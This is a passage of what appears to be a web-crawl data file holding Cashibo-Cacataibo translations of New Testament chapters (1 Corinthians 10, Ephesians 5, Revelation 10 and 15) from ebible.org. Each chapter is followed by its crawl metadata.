Mitsun piti 'aínbia uni itsin mitsu —ënë namix ca unin 'acë ñu rabiquin piti 'acë 'icë —quixun mitsu cacëxun cuni camina pitima 'ain. An mitsu cacë uni an Jesucristomi catamëcë 'ixunbi, camabi nami ca bëtsi namisaribi 'icë quixun upí oquin 'unáncëma 'ixun, —ënë nami pi cana Nucën Papa Diosmi 'uchain —quixun sináncë 'ain camina a nami pitima 'ain. 29 —A piti ca asábi 'icë —quixun mitsun sináncëbëtanbi an mi cacë unin —usa ñu 'ën piti ca 'ucha 'icë —quixun sináncëbëtan camina pitima 'ain.\nSapi camina 'ë ñucáti 'ain, uisacasquin carana uni itsían, ënë nami piti ca 'ucha 'icë quixun sináncë cupí 'ën pitima 'ai quixun. 30 ¿Nucën Papa Dios —asábi ca —quixun caxun 'ën piabi cara unin 'uchoquin, —Nucën Papa Diosmi 'uchaquin camina pia —quixun 'ë cati 'ic? 31 Ënëx ca ësa 'icën. Ñu piquin, ñu xëaquin, añu ñu caramina 'ai, usa ñu 'aquin camina Nucën Papa Dios cuëënun a sinánquin 'ati 'ain. 32 Usoquin camina uinu 'icë unibi, judíos uni 'imainun judíosma uniribi, 'imainun axa Jesucristomi catamëcë unicamaribi, Nucën Papa Diosmi 'uchati sinánmitima 'ain. 33 'Ënribi cana camabi uníxa 'ën 'aia isi cuëënun ñu 'ain. 'Ën cuëëncë ñu 'atishi sinánxun cana ñu 'aiman. Jesucristomi catamëtía ië́nun camabi uni 'aquínti sinánxun cana ñu 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO10.htm","date":"2022-05-29T05:10:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663039492.94\/warc\/CC-MAIN-20220529041832-20220529071832-00063.warc.gz","language":"cbr","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000070333480835}","num_words":971,"character_repetition_ratio":0.087,"word_repetition_ratio":0.002,"special_characters_ratio":0.217,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nUisai cara Nucën Papa Diosan unicama 'iti 'icë quicë bana\n1 Mitsux aín bëchicë 'icë an nuibacë 'aish camina usai 'iti sinani Nucën Papa Dios 'icësaribiti 'iti 'ain. 2 Nucën Papa Dios cuëëncësabi oquin judíos unin aín 'ucha cupí rëcë́xa carnero 'iásaribiti ca bamatsianxmabi Cristo nu nuibati nun 'ucha cupí bamacëxa, ami catamëtíshinu ië́nun. Cristonëan nu usoquin nuibacë 'ain camina mitsúxribi usaribiti bëtsibë bëtsibë nuibananti 'ain.\n3 Nucën Papa Diosnan 'ixun camina mitsun uisa ñux cara 'atima 'icë a 'ati sinántima 'ain. Mitsun xanuma 'aínbi xanubë 'iti, xanúxmabi uni itsibë 'iti, minanmabi uni itsin xanu 'imainun ñu cuëënti, usa ñu 'ati sinanima 'ianan camina usa ñu ñui banatima 'ain. 4 Anun tupuananti 'atima banan camina banatima 'ain, uni 'imainun xanu rabínmi camina 'usánani banatima 'ain, cuaíntapun 'aish camina 'atimati banatima 'ain. Usai 'iquinma camina a rabiquin Nucën Papa Dios —asábi ca —quixun cati 'ain. 5 Camina asérabi 'unánti 'ain, axa aín xanuma 'aínbi xanubë 'icë uni, axa xanúxmabi unibë 'icë uni, an ainanma uni itsin ñu cuëëncë uni, a unicamax ca Nucën Papa Diosmabi, unínbi 'acë ñuishi rabicësa 'icën. Usa unicamax ca Nucën Papa Diosan nëtë anua Cristoribi 'icë anu abë 'itima 'icën. 6 Uni raírinëan —ñu 'atima 'acë 'aíshbi camina Nucën Papa Diosan nëtënu 'iti 'ai —quixun cacëxunbi camina mitsun, —cëmëi ca quia —quixun sinánti 'ain. An aín bana cuaisama tanquin usa ñu 'acë unicama a ca ami nishquin Nucën Papa Diosan castícanti 'icën. 7 Usaribi 'itin rabanan camina an usa ñu 'acë unicamabë 'itima 'ain.\n8 Bëráma Nucën Papa Diosan bana 'unáncëma 'aish unían bëánquibucënuxun ñu 'atima 'acësa 'iá 'ixúnbi camina bërí Nucën 'Ibu Jesucristonan 'ixun ax cuëëncësabi oquin ñu upíshi 'ain. Usa 'aish camina bërí xabánu nicësa 'iti 'ain. 9 Nucën 'Ibu Jesucristonan 'aish ca uni upí sinánñu 'ianan asérabi banáinshi bananan ñu upíshi 'aia. Usaribi camina mitsux 'iti 'ain. 10 Añumi 'ati cara Nucën 'Ibu Jesucristo cuëënia a camina upí oquinra 'unánti sinánti 'ain. 11 Ax bëánquibucënu nicësa uni an ca axa cuëëncësa oquinshi ñu 'aquin, Nucën Papa Diosmi sinánquinma uni itsiribi ami sinánun 'aquinti sinanima. Usaía ax 'icë unicama camina atun 'acësaribi oquin 'aquinma, —usaquin ñu 'ati ca 'aisama 'icë —quixun upí oquin 'unánmiquin 'ësëti 'ain. 12 Usa ñua a unicaman unë́xun 'acë, ax ca a cuati rabínti 'aish ñuitisama 'icën. 13 Usa ñu 'ati ca 'aisama 'icë quixun unë́quinma cacëxun ca camabi unin —asérabi ca usaquin 'ati 'aisama 'icë —quixun 'unánti 'icën. 14 Usa 'ain ca ësai Nucën Papa Diosan bana cuënëo quia:\n'Uxcësa 'aíshbi bësucësa 'inux ca Cristomi catamët. Ainanma 'aish min 'ucha cupí bamacësa 'aíshbi ca Cristomi catamëti ië́t. Usa 'icë ca min ñu 'aisama 'acëcama ëmianan mix asaribi upí 'inun 'imiti 'icën.\n15 Sinánñuma unisa 'ima an Nucën Papa Diosan bana 'unáncë unisa 'ixun camina ax quicësabi oquin ñu upíshi 'ati 'ain. 16 Ax cuëëncësa oquinshia unin ñu 'atima 'acëbëtanbi camina mitsun ñancáishi nëtë inúmi 'iquinma Jesucristomi sináncë 'ixun, ax cuëëncësabi oquinshi 'ati 'ain. 17 Sinánñuma camina 'itima 'ain. Uisa ñumi 'ati cara Nucën 'Ibu Jesucristo cuëënia, a camina 'unánti 'ain. 18 Mitsux camina paë́ntima 'ain. Paë́ncë uni ax ca uisai cara banatisa tania usai bananan, añu cara 'aisa tania a 'aia. Usai 'ima camina Nucën Papa Diosan Bëru Ñunshin Upitan mitsubë 'ixun anbi upí oquin cushiocë 'aish upiti bananan upí ñuishi 'ati 'ain. 19 Usa 'aish camina mitsun nuitu mëu Nucën 'Ibu Jesucristo rabianan Nucën Papa Diosan bana sinani, bëtsibë bëtsibë bananan cantati 'ain. 20 Nucën 'Ibu Jesucristonan 'ixun camina usoquian 'aquianan, an nu 'imicëcama, a sinánquin, Nucën Papa Dios —asábi ca —quixun caquin rabiti 'ain. 21 Nucën Papa Diosnan 'aish camina bëtsibë nishananima an cacëxun aín bana cuati, uni raíribë nuibananti 'ain.\nËsai ca uni aín xanubë nuibananti 'icë quicë bana\n22 Xanun aín bënënan 'ixun aín bana cuati 'icën, Nucën 'Ibu Jesucristo cuëëncësabi oquin. 23 Cristo ax ca an aín unicama aín 'ucha tërë́nquin Nucën Papa Diosnan 'inun ië́micë a 'icën. An ië́micë 'ixun ca aín unicaman aín bana cuatia. 24 Aín unicaman Cristo cuëëncësabi oquin ñu 'acësaribi oquin ca xanun aín bana cuaquin aín bënë cuëëncësabi oquin 'ati 'icën.\n25 Ainan 'inun unicama nuibati ca Cristo bamatsianxmabi bamacëxa. Usoquin ca an aín unicama nuibatia. Usaribi oquin ca bëbuxun xanuñu 'ixun aín xanu nuibati 'icën. 26 Aín unicama aín nuitu upí 'imiquin ca Cristonën ax aín sinan 'aisama 'icëbi bëtsi oquin aín sinan upí 'imia. Usoquin ca ax quicësabi oquían 'anun aín bana 'unánmiquin aín unicama aín nuitu upí 'aísha chucacësa 'inun 'imia. 27 Usoquin 'imitancëx utëcënxun ca aín unicama uisa 'uchañumabi 'ianan Nucën Papa Diosan iscëx atun ñu 'atima 'acë ëni upí 'icë isti 'icën. 28 Cristonëan aín unicama nuibaquin bërúancësaribi oquin ca unin aín xanu nuibati 'icën. Uinu 'icë uníxbi ca aín namimi nishima. Usaribi oquin ca unin ami nishquinma aín xanu nuibati 'icën. An aín xanu nuibaquin bërúancë uni ax ca axbi bërúancacësa 'icën. 29 Uinu 'icë uníxbi ca aín namimi nishima. Aín nami upí 'aish cushi 'iti cupí ca chupa pañuanan ñu upí oquin pianan axbi aín nami bërúanracati upitax tsotia. Usaribi oquin ca Cristonën aín unicama bërúanquin upitax tsónun 'imia. 30 Nux asérabi ainan 'aish ax cuëëncësabi oi 'ianan ami catamëti abë achúshisa 'icë ca usoquin nu bërúanquin 'aquinia. 31 Nucën Papa Diosan bana cuënëo ca ësai quia: \"Usa 'ain ca unin aín papacëñun aín tita ënquin abë ënanantimoquin aín xanu bitsia. Usa 'aish ca a rabëtaxbi achúshisa 'ia\". 32 A bana bëráma cuënëo ax ca unin cuaisamasa 'icën. Usa 'aíshbi ca 'ën sináncëx a bana uníxa usai aín xanubë 'iti ñui quicë 'aíshbi Cristonëx ca usaribiti aín unicamabë achúshisa 'icë quicë 'icën. 33 Usa 'aínbi cana mitsu cain, min namimi bërúancësaribi oquin camina mitsun xanuribi nuibaquin bërúanti 'ain. Usaribi oquin ca xanúnribi ami sinánquin aín bënën bana cuati 'icën.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/EPH05.htm","date":"2022-05-28T23:29:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663021405.92\/warc\/CC-MAIN-20220528220030-20220529010030-00677.warc.gz","language":"cbr","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000081062316895}","num_words":914,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.409,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nQuiricaratsuñu ángel 'ia\n1 Bëtsi ángel cushiira, axribia naínuax aia cana isan. Ax ca nëtë cuin mëu nicësa 'ianan aín maxcá manámi nónbai 'imainun aín bëmánan bari pëquicësa 'iaxa. 'Ianan ca aín quisi rabë́ tsi rëquiruia iscësa 'iaxa. 2 Aín mëcënan ca bacacë quiricaratsu tuíanxa. Usai 'iquin ca aín taë mëqueunën parúnpapa amánan aín taë mëmiunën me amáxa. 3 Usai 'itancëx ca 'inúan munuma banacësari banaxa. Banacëbë ca mëcën achúshi 'imainun rabë́ canacamë'ëoribi banaxa. 4 Caná banacëbëtan a banacama cuënëoti 'ixunbi cana naínuaxa ësai banaia cuan:\n—Canacaxa quicëcama camina uisai quicë cara quixun unin 'unánun cuënëotima 'ain.\n5 Angel an aín taë itsin parúnpapa amánan aín taë itsin me amácë, an ca aín mëcën mëqueu 'icë manámi oxa. 6 Manámi oquin ca caxa:\n—Axa bamatimoi tsócë, an naí, me, parúnpapa, acama 'imainun anu 'icë ñucamaribi unio Nucën Papa Dios, an cuamainun cana cain: Ax quiasabi oi ca bërí 'iti 'icën. 7 Bëtsi ángelnën aín manë banañu banocëbë ca an Nucën Papa Dios quicë bana uni ñuixuncë unicamaxa, usai ca 'iti 'icë quiásabi oi 'iti 'icën. A bana uisai quicë cara quixun unin 'unánma 'aínbi ca a bana quicësabi oi 'iti 'icën, manë banañu banocëbë.\n8 A ángelnëxa quicëbëtan cana naíucüax banaia cuatëcëan, ësai qui:\n—A ángel, axa parúnpapa 'imainun menuribi nixun aín mëcënan bacanuxun tuíncë quiricaratsu a ca bitsi cuan.\n9 Usaquian 'ë cacëx, ángelnu cuanquin cana —quiricaratsu camina 'ë 'inánti 'ai —quixun can. Cacëxun ca 'ë caxa:\n—A cënë 'icë, ca bit. Bixun ca pit. Picëx ca min cuëbínuax bataira 'aish buna rëpasaribi 'iti 'icën. Usa 'aíshbi ca min pucu 'ucë mëucüax mucaira 'iti 'icën.\n10 Usaquin caquian 'ë 'ináncëxun, aín mëcë́nua bixun cana a quiricaratsu pian. Picëx ca 'ën cuëbínuax bataira 'aish buna rëpasa 'iaxa. Bata 'aíshbi ca 'ën 'ecëx 'ën pucunuax mucaxa. 11 Usai 'icëbëtan cana ënë banaribi cuan:\n—Bëtsi bëtsi unibu, bëtsi bëtsi nëtënu 'ianan bëtsi bëtsi banan banacë, a unicama ñuia Nucën Papa Dios quicë bana camina unicama ñuixuntëcënti 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV10.htm","date":"2022-05-28T01:28:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00325.warc.gz","language":"cbr","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000078678131104}","num_words":314,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15\nAshiquian ángelnën, mëcën achúshi 'imainun rabë́ oquin unicama paë tanmia\n1 Usai 'icëbëtan cana bëtsi ñuribi naínu 'icë isan. A isi cana ratúan. Ratúquin cana ángel mëcën achúshi 'imainun rabë́ isan. Acama achúshi achúshinëx ca anun menu 'icë unicama aín 'ucha cupí castícanti ñuñu 'iaxa. Usoquin ca anuishi sënë́onquin aín nishcë sënë́ntanun Nucën Papa Diosan 'amiaxa.\n2 Usoquin ángelcama isanan cana parúnpapa upí, bëxnan bëxnánquicë iscësa 'aíshbi 'unpáxma 'aish tsi rëquirucëcëñun mëscucë iscësa isan. Anu ca 'aisamaira uni, arpa, anun Nucën Papa Dios rabiti, a ñuñu sëtë́axa. A unicamax ca parúnpapanuax uaxa 'irucë ñuinacan'ëo, a rabicëma, 'ianan a tanquin unin 'acë ñu rabicëma, 'ianan aín número aín bëmánan 'imainun aín mëcë́nu 'acëma 'iaxa. 3 Anuax ca Nucën Papa Dios rabi cantaxa. Moisés, an Nucën Papa Diosan cacësabi oquin 'á, a sinánan Carnero 'icësaribitia unin 'ucha cupí bama, an Nucën Papa Dios cuëëncësabi oquin 'á, aribi sinani ca Nucën Papa Dios rabi cantaxa. Ësai quicë ca a canta 'iaxa:\nMinmi 'acë ñucamax ca upíira 'icën, unin sináncësamaira oquin sinánquin camina ñu 'acën. Mix camina Nucën 'Ibu Dios 'ain. Min cushix ca chaira 'aish bëtsi cushisama 'icën. Mix cushiira 'aish camina camabi menu 'icë unicaman 'Apu 'ain. Usa 'aish camina sinánñuira 'ixun paránquinma atúxribia upí 'inun 'iminux atun 'Apu 'ain. 4 Nucën 'Ibu Dios, ¿uix cara mimi racuë́tima 'ic? ¿Uin cara mi rabitima 'ic? Mixëshi camina upíira upí sinánñu 'ain. Mix upí sinánñu 'ixun ñu upíshi 'aia iscë 'ixun ca camabi menu 'icë unicaman mimi sinánquin mi rabiti 'icën.\n5 A unicama cantaia istancëxun istëcënquin cana naínu 'icë anuxun Nucën Papa Dios rabiti xubu, aín xëcuëa xëóquia isan. A xubu mëúira 'icë 'iti anu ca bunánti anua Nucën Papa Diosan cuënëo maxax pará rabë́ nancë 'iaxa. 6 Xëóquicëbë ca ángel, axa anun menu 'icë unicama 'aisamaira oquin tëmëramiti ñuñu mëcën achúshi 'imainun rabë́, acamax anuax chiquíaxa. Aín chupax ca xapusa ñu uxuira 'acë, 'ianan chuañuma upíira upí 'iaxa. Anúan shitëcërëquicë ax ca curi 'acë 'iaxa. 7 Usa 'ain ca ángelcama chiquitia axa 'itsa bëruñu rabë́ 'imainun rabë́ ñu acama achúshinën a ángelcama achúshi achúshi, xanpa curi 'acë 'inánxa. A xanpacamanu ca axa bamatimoi tsócë Nucën Papa Diosan, anun atumi nishquin an 'atima ñu 'acë unicama castícanti ñu 'iaxa. 8 Angelcama anuax chiquícëbë ca anuxun Nucën Papa Dios rabiti xubu anua aín cushi 'ain, tsin cuinan nuturucësa 'iaxa. Usai 'icë cupí ca a mëcën achúshi 'imainun rabë́ ángelcaman ñu 'atia sënë́ntamainun uinu 'icë uníxbi a xubunu atsíncëma 'icën.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV15.htm","date":"2022-05-28T01:30:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00330.warc.gz","language":"cbr","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000065565109253}","num_words":397,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/cbr_Latn/fineweb-2_000001_remove.jsonl b/cbr_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..c1979cc95d32d67e73e46014451034e895ec0584 --- /dev/null +++ b/cbr_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,12 @@ +{"text":"A ÑUCAMA SINANXUN CA AXA ANU TIMËCË UNICAMAN ËSAQUIN CAXA:\nA PAIN SINANCË BANA\nCAMAXUNBI CA 'UNANIA: Camabi uni ca bëtsibë sënën 'icë quixun camaxunbi 'unancë 'aish ca camabi uni, uni itsin racueocema 'janan cëmei ami mananquin 'atimocëna 'aish chúamarua bucuti 'icën.\nCAMAXUNBI CA 'UNANIA: Camabi uni ca bëtsibë sënën 'icë quixun sinanti 'ainbi ca an usaquin sinancëma unicaman an sinancëx a meu 'icë uni 'aisamaira tëmëramianan paë tanmiquin 'atimoia, uni raíri usoquin uni 'ati ca 'aisama 'icë quicëbëtanbi. Usaquin bëtsi uní 'ati cuëënima ca camabi uni ësai iti 'icën: añu ñu ñui cara banaia a cupí ubíocëma ití, 'ianan añu ñu cara sinania a cupí ubíocëma 'iti, 'ianan añu cara pisa tania pianan ain cuëëncë ñu bianan uinu cara 'isa tania anu 'iabi ca bëtsi uní unin racuëotima icën.\nCAMAXUNBI CA 'UNANIA: Gobiernocaman uni upitax bucunun quixun bana mëniocëma 'ain tëmëraquin ca unicaman masá nuituquin ain 'apumibí nishi 'acananti sinanti 'icën.\nCAMAXUNBI CA 'UNANIA: Camabi netenu 'icë unicama ubíocëma 'aish chúamarua 'inun ca camabi nëtënu 'icë gobiernobë ain unicamaribi bëtsi gobierno 'imainun ain unicamabë nishananima upí iti 'icën.\nCAMAXUNBI CA 'UNANIA: Gobiernocaman xucëx timëcë unicaman ca upíma ñu 'acëma 'aish ca camabi uni bëtsibë sënën 'aish ubionancëma upiti ití icë quixun sinanquin camabi uni usai 'inun 'aquinú camaxbi 'iásamaira oi upiti bucunun.\nCAMAXUNBI CA 'UNANIA: Gobiernocamanribi ca caxa, camabi 'apun anëcë unicaman sinancësaribi oquin cananuna nunribi sinanin. Usaxun cananuna atubëtan atún sinancësabi oi nun nëtënu 'icë unicama 'atima ñu 'acëma 'aish upiti bucunun 'aquinti 'ain.\nCAMAXUNBI CA 'UNANIA: Camabi unicama ubíocëma upiti bucunun ca camaxunbi pain ënë banacama unanquin sinanti 'icën.\nGobiernocaman xucëx timëcë unicaman ca ësaquin caxa:\nA ÑUCAMA SINANXUN CA AXA ANU TIMËCË UNICAMAN ËSAQUIN CAXA:\nCamabi nëtënu 'icë unicaman: ësai 'iti 'aish ca camabi uni upiti bucutí ice quixun sinanquin ca ënë quiricanua ñuicë banacama manutimoquin sinánan an ënë bana 'unancëma unicamanribi upí oquin 'unánun 'unanmití 'icën. Camabi gobiernonën ca ain nëtënu icë unicaman ënë banacama upí oquin 'unánun 'aquinti 'icën. Camabi nëtënu 'icë unicaman ënë banacama upí oquin 'unánun ca gobiernocama bëtsi gobiernobë 'aquiananti 'icën.\n1.\nUi uni cara 'iti icë axbi ca bëtsi unibë gobiernonën iscëx sënën ití icën. Ui cara ain tita ain papa 'iaxa quixun sinanquinma ca gobiernonën sinancëx ax bëtsibë sënën 'icën. Camaxunbi ca sinanti 'unanin. Camaxunbi ca añu ñu ati cara asábi 'icën, añu ñu 'ati cara 'aisama 'icë quixun 'unanti 'icën. Usa 'ain ca camaxbi ain xucënbë 'icësaribiti nuiananti 'icën.\n2.\nUinu 'icë ëmanu 'icë uni cara ax 'icë, ui unin aintsi cara ax 'icë, ax cara xanu 'icë, ax cara nucë bënë 'icë, uisa banan cara banaia. Nucën Papa Diosmi cara sinania, ami sinanima añu ñubi rabi cara sinania, ui unicamax cara 'apu 'iti ice quixun sinania, añu ñu cara sinania, uisai cara ain papa ain tita 'ia, ñuñu cara ax 'icë, ñuñuma cara, usa ñucama sinanquinma ca gobiernonën camabi uni ñu 'atima 'acëma 'aish ca bëtsi unibë sënën icë quixun sinanti 'icën. Uisa cara ain nete icë, a nëtë cupí ca uni 'atimocë 'itima 'icën.\n3.\nUi unibi ca bëtsi unin bamamiti sinantima 'icën. Ca chiquítimoi sipuacë 'itima 'icën. Ca 'atimocë 'itima 'icën.\n4.\nUinu 'icë unixbi ca chiquitimoquin marucë 'itima 'icën. Uni chiquitimoquin maruxun 'ibuati 'aíma ití 'icën.\n5.\nUinu ice unibi ca 'aisamaira oquin uni itsin paë tanmitima 'icën. Bëtsi uni ami nishquin paë tanmiquin 'atimocë a ca 'itima 'icën. Ñuina 'acësa oquin 'atimocë ca uni 'itima 'icën.\n6.\nUinu 'icë uníxa uinu cara 'ia a ca anu 'icë gobiernonën uni itsi 'acësaribi oquin sinanti 'icën, ax bëtsi unisaribi 'icë cupí.\n7.\nUinu ice unibi, ami uni itsin upima sinanquin paránan 'atimonunma ca gobiernonën 'aquintí 'icën. Enë banacama sinanquinma ain cuëëncës a oquin unin uní itsi atimoi ami 'ësënanunma ca gobiernonën bërúati 'icën.\n8.\nUni ñu 'atima 'acëma 'icëbi uni itsin 'atimocë 'ixun ca a unin an uni bana mënioxuncë 'apu cati 'icën. Cacëxun ca mëniotí 'icën, gobiernonën cacësabi oquin.\n9.\nUinu 'icë unixbi ca añubi 'uchacëma 'icëbi bëtsi uni ain cuëëncësa oquin sipuacë 'itima 'icën. Sipunu 'icë ca anubi 'inun ëntima 'icën. Ain menua ca bëtsi menu cuantanun xutima 'icën.\n10.\nUnin uisa ñu 'acë 'icëa bëtsi uni a 'aisamonun quixun ami mananquin cacëxun ca an bana mëniocë 'apun bëtsi uni manancë a unin banaribi asërabí cara usa 'icë quixun 'unantí 'icën, uni raírinënribi ismainun. Upí oquin istancëxuinshi ca cati 'icën, uisa cara a uní otí ice quixun, gobiernonën ain quiricanu mëníosabi oquin.\n11.\n- Uinu 'icë uni cara uni itsin ami manania, a ca an bana mëniocë 'apun pain upí oquin sinantí 'icën, sapi ca ñu 'atima 'acëma 'icë quixun. Gobiernonën cacësabi oquin pain ca isti 'icën uisa ñucama cara 'axa quixun. Uni rairinën ismainun ca axa ami manancë unicaman bana cuanan amia manancancë a unin banaribi cuanan an a uni unancë unin banaribi cuatí 'icën. Cuaxuinshi ca asérabi uisa cara a uni 'iaxa quixun upí oquin 'unantí 'icën.\n- Uisai cara gobiernonën bana quia usoquinshi ca an bana menioce 'apun a 'uchacë uni asérabi ain ñu 'atima 'acë istancëxun uisa cara otí ice usoquin 'atí 'icën. Anun a ñu 'aisama 'acë nëtë ain fecha isquin ca an bana mëniocë 'apun a fecha gobierno quicë bana bëtisoima a bana quicësabi oquinshi axa 'uchacë uní atí icën.\n12.\nUinu 'icë uninbi ca ain cuëëncësa oquinshi bëtsi uni 'imainun ain xanu 'imainun ain bëchicë ubiotima 'icën, ain xubunu ca atsintima 'icën, ain quirica bëtsi unin bëmicë 'imainun quirica an buanmicë ca rairinën bitima 'icën. Usa 'ain ca uinu ice unixbi, a unix ca 'aisama icë quixun uni rairi sinanmi 'atimati banatima 'icën. Usai banacëbëtanbi an bana menioce apun gobiernonën cacësabi oquin meniotí 'icën.\n13.\n- Uinu cara uni cuainsa tania, anu ca cuanti 'icën; ain nëtënu 'aisch uinu cara tsotisa tania ca uni anu tsoti 'icën.\n- Ui unix cara ain nëtënuax nëtë itsinu cuainsa tania ax ca cuanti 'icën. Amanu 'itancëx ain nëtënu utëcëinsa tani ca uti 'icën.\n14.\n- Uix cara ain nëtënuxun bëtsi bëtsi ocë 'ia ax ca tëmëranuxma bëtsi nëtënu cuainsa tani cuanti 'icën.\n- Ain ñu 'atima 'acë cupí gobiernonën mënioquin 'atimocë usa uni ca ain nëtënuax tëmërati rabanan bëtsi nëtënu cuantima 'icën.\n15.\n- Camabi uni ca ain netenu ití icën.\n- Enë nëtë minan 'aishbi ca minanma 'iti 'icë quixun ca unin bëtsi uni catima 'icën. Bëtsi nëtënu 'isa tanquin ca unin usai 'inuxun gobiernobëtan mëniotí 'icën.\n16.\n- Bëtsi bëtsi unix ca quia: Uni canice ixunbi ca bëtsi netenu icë xanu bitima 'icën, ca bëtsi banan banacë xanu bitima 'icën, ca an rabicë dios rabicëma xanu bitima 'icën. Usa unix quicësai ca 'itima 'icën. Unin usa xanu canicë 'icë bisa tanquin ca bití 'icën, a xanu cuëëncëbëtan. Atux 'isa tani ca bëchicëñu 'ití 'icën. Gobiernonën iscëx ca a uni ain xanubë sënën 'icën, xënibua 'ainbi.\n- Nucë bënë cuëënquinshi ca xanu biti 'icën, a anúribi cuëënia ca bití 'icën.\n- Tuácama ain tita ain papabë 'aquiananti ca asábi 'icën. Usai upiti bucunun ca camabi unin sinantí 'icën. 'Apunribi ca usai 'inun sinanxunquin 'aquintí 'icën.\n17.\n- Uni meñu 'isa tania ca uni itsin meñu 'inun ënti 'icën. Xuburibi 'imainun añu ñuñu cara uni 'isa tania ca uni itsin a ñuñu 'inun ënti 'icën. 'Aisa tanquin uni rairibëtan mëníotancex ca a ñu ainainshima, rairinanribi 'iti 'icën.\n- Unin ca ain cuëëncësa oquinshi bëtsi unin ñu bitima 'icën.\n18.\nCamabi unin ca ain cuëëncësa oquin sinanti 'icën; uni rairinën ubiócëma ca 'ití 'icën. Uisoquin cara ain dios rabitisa tania usoquin ca 'ati 'icën. Usaquin sinanxunbi ca amiribishi 'aisa tanquin sinantécentí 'icën; uni rairinén ubíocéma ca 'ití 'icën. En rabicë diosan iscëx ca bëtsi bëtsi ñu 'ati 'aisama 'icë quixun sinancë uni ca bëtsi unin a ain cuëëncësabi oquin 'anun ënti 'icën. Usa ain ca ain diosmi catamëisa tania bëtsi unin a 'axunma 'anun catima 'icën. An rabicë dios ca anbi rabití 'icën. 'Aisa tani ca uni rairibë timëquin abëtan rabiti 'icën. Rabiquin ca 'aisa tanquin rairi uniribi ain dios ñuiquin 'unanmití 'icën.\n19.\nCamabi unin ca ain cuëëncësa oquin sinanti 'icën. Ca ubíocëma 'iti icën. Ca bëtsi unin cacë bana 'aisa tanquin sinanti 'icën. Bëtsi nëtënu 'icë unibëribi ca 'unanmiananti 'icën. Usai 'i ca ubíocëma iti 'icën. Usaribi oi ca ain sinancë ñu ñui banatisa tani banati 'icën; ca ubíocëma 'iti 'icën.\n20.\n- Uni rairibë tim¿tisa tani ca uni upí oquiinschi sinanx timetí 'icën.\n- Uinu 'icë uninbi ca bëtsi unin abëtan ñu 'aisama tania ubioxun ñu 'amitima 'icën.\n21.\n- Camabi unin ca libreta electoralñu 'ixun ain cuëëncësa oquin 'apu caisquin votación 'atí 'icën.\n- Gobiernonën ain nëtënu 'icë unicama 'aquinun mëniocë ñucama ca camabi uninan 'icën. Ca esa 'icën: Bai cha anun ca carrocama 'imainun unicama cuainsa tani cuanti 'icën. Anun quirica buanmiti correo anun ca unin 'aisa tanquin ain quirica buanmiti 'icën. Usai ca 'iti 'icën.\n- Uisa gobierno cara a nëtënu 'icë unicama cuëënia, usa ca ain gobierno 'iti 'icën. Uisa gobierno cara a unicama cuëënia 'unánun ca libreta electoralñu 'icë unicaman quiricanu cuënëoquin uicama cara ain 'apu 'iti cuëënia quixun 'unánun 'ati 'icën. Camabi uni ain sinancësabi oquin ca uix 'apu 'iti cara cuëënia, ain anë quiricanu cueneotí icën. Cuënëocë ca uni itsin 'unantima 'icën, anbi cuënëocë ca ití 'icën. Camabi uni ca bëtsibë sënën 'icën. Usa 'aish ca camabi uni gobierno quicësabi ol libreta electoralñu 'iti 'icën.\n22.\nAn ñu 'atima 'acëma 'aish ca uinu 'icë unixbi rabinima bëtsi uni 'icësai ñu meetinu ianan uni rairibë nuianancë 'ianan ain rairinën ñu 'acë 'icësaribi oi 'isa tani iti 'icën. Uní usai 'icëma 'aish tëmërala ca uni itsin 'aquinti 'icën, ain 'apunribi mëniocësabi oi ca 'aquince ití icën. Uni ain nëtënuax cara uisa ñu cara 'icëbë tënmëria ca bëtsi nëtënu 'icë gobiernonënribi 'aquinsa tanquin 'aquinti 'icën.\n23.\n- Camabi unin ñu mëëtisa tanquin ca ñu meetí 'icën. Añu ñu mëëti cara 'aisa tania a ñu mëëti mëraquin ca 'ati 'icën. An ñu mëëmicë unin ca ain uni 'atimotima 'icën. Ñu mëeti 'alma 'ain ca 'apun ñu mëëti mëranun 'aquintí 'icën.\n- Ui uni cara, uisa cara ain bana 'icë, camabi uni ca sënen 'icën. Usa 'ixun ca upí oquin ñu meece 'ixun bëtsi unin 'acësaribi oquin ain cupí biti 'icën.\n- Ui unin bëtsi uni ñu mëëxuncë 'ixun ca ain cupí biti 'icën, a 'imainun ain xanu 'imainun ain bëcicëcama upiti bucunun. Ain cupí 'itsamashi bicë 'aish 'aquinsa 'icë ca apun anun a 'aquinti 